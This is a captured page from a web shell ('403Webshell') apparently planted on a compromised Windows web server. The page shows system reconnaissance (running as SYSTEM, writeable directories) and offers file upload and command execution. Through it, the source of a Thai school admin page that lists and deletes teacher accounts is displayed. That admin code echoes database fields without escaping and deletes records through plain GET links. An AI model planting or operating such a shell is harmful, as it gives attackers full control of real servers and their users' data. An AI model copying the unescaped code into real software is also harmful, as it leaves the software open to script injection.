403Webshell
Server IP : 172.67.187.206  /  Your IP : 172.71.28.156
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  E:/Inetpub/www/news/edu2018/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : E:/Inetpub/www/news/edu2018/admin/manage_user.php
<?php
//include "header.php";

	$SQL1 = $mysqli->query("SELECT * FROM users where level_user='teacher' ");
	//$Row = mysqli_fetch_array($SQL);
?>
  
  
       <section class="content-header">
      <h1>
        ข้อมูลครู
        <small>Version 2.0</small>
      </h1>
      <ol class="breadcrumb">
        <li><a href="#"><i class="fa fa-dashboard"></i> Home</a></li>
        <li class="active">Dashboard</li>
      </ol>
    </section> 	
  <section class="content">
           <div class="box">

            <div class="box-header">
              <h3 class="box-title">ข้อมูลครูผู้ใช้งานระบบ</h3>
            </div>
            <!-- /.box-header -->
            <div class="box-body">
              <table id="example1" class="table table-bordered table-striped table-hover">
                <thead>
                <tr>
									<th width="50" align='center'><a href="#addteacher" type="input" class="btn btn-success btn-xs"  data-toggle="modal"  data-toggle="tooltip"><span class="glyphicon glyphicon-plus"></span> เพิ่ม</a></th>
                                    <th width="150" align='center'>UserName</th>  
                                    <th align='center'>FullName</th>  
                                    <th width="150" align='center'>จัดการ</th> 
                </tr>
                </thead>
                <tbody>
         <?php 
			$i=0;
			while($Row=mysqli_fetch_array($SQL1)) { 
			$i++
         ?>				
                <tr>
                  <td><?=$i;?></td>
                  <td><?=$Row["username"];?></td>
                  <td><?=$Row["fullname"];?></td>
                  <td align="center">
<a href="index.php?dash=<?=md5("2");?>&id=<?=$Row['id_user'];?>&op=mteacher&m=1">				  
<button type="button" class="btn btn-info btn-xs"><span class="glyphicon glyphicon-edit"></span> แก้ไข</button></a>&nbsp;&nbsp;									


<a href="#<?=$Row['id_user'];?>" type="input" class="btn btn-danger btn-xs glyphicon glyphicon-trash del-co"  data-toggle="modal"  data-toggle="tooltip" title="ลบข้อมูล"></a>
<!-- Modal -->
  <div class="modal fade" id="<?=$Row['id_user'];?>" role="dialog">
    <div class="modal-dialog">
      <div class="modal-content">
        <div class="modal-header">
          <button type="button" class="close" data-dismiss="modal">&times;</button>
          <h4 class="modal-title">ลบข้อมูล</h4>
        </div>
        <div class="modal-body">
			 <div class="row clearfix">
				<div class="col-md-2">
				<center><img src="../img/what.jpg" width="70"></center>
				</div>
				<div class="col-md-10"><br>
					<p align="left">คุณต้องการลบข้อมูล <?=$Row["username"];?> <?=$Row["fullname"];?> จากระบบหรือไม่?</p>
				</div>
              </div>
        </div>
        <div class="modal-footer">
          <button type="button" class="btn btn-default" data-dismiss="modal">ยกเลิก</button>
		  <a href="index.php?dash=<?=md5("3");?>&action=delteacher&id=<?=$Row['id_user'];?>" class="btn btn-danger" role="button">ลบข้อมูล</a>
        </div>
      </div>      
    </div>
  </div>				  
				  </td>
                </tr>
				<?php } ?>  
				</tbody>
              </table>
            </div>
            <!-- /.box-body -->
          </div>			

   </section>


Youez - 2016 - github.com/yon3zu
LinuXploit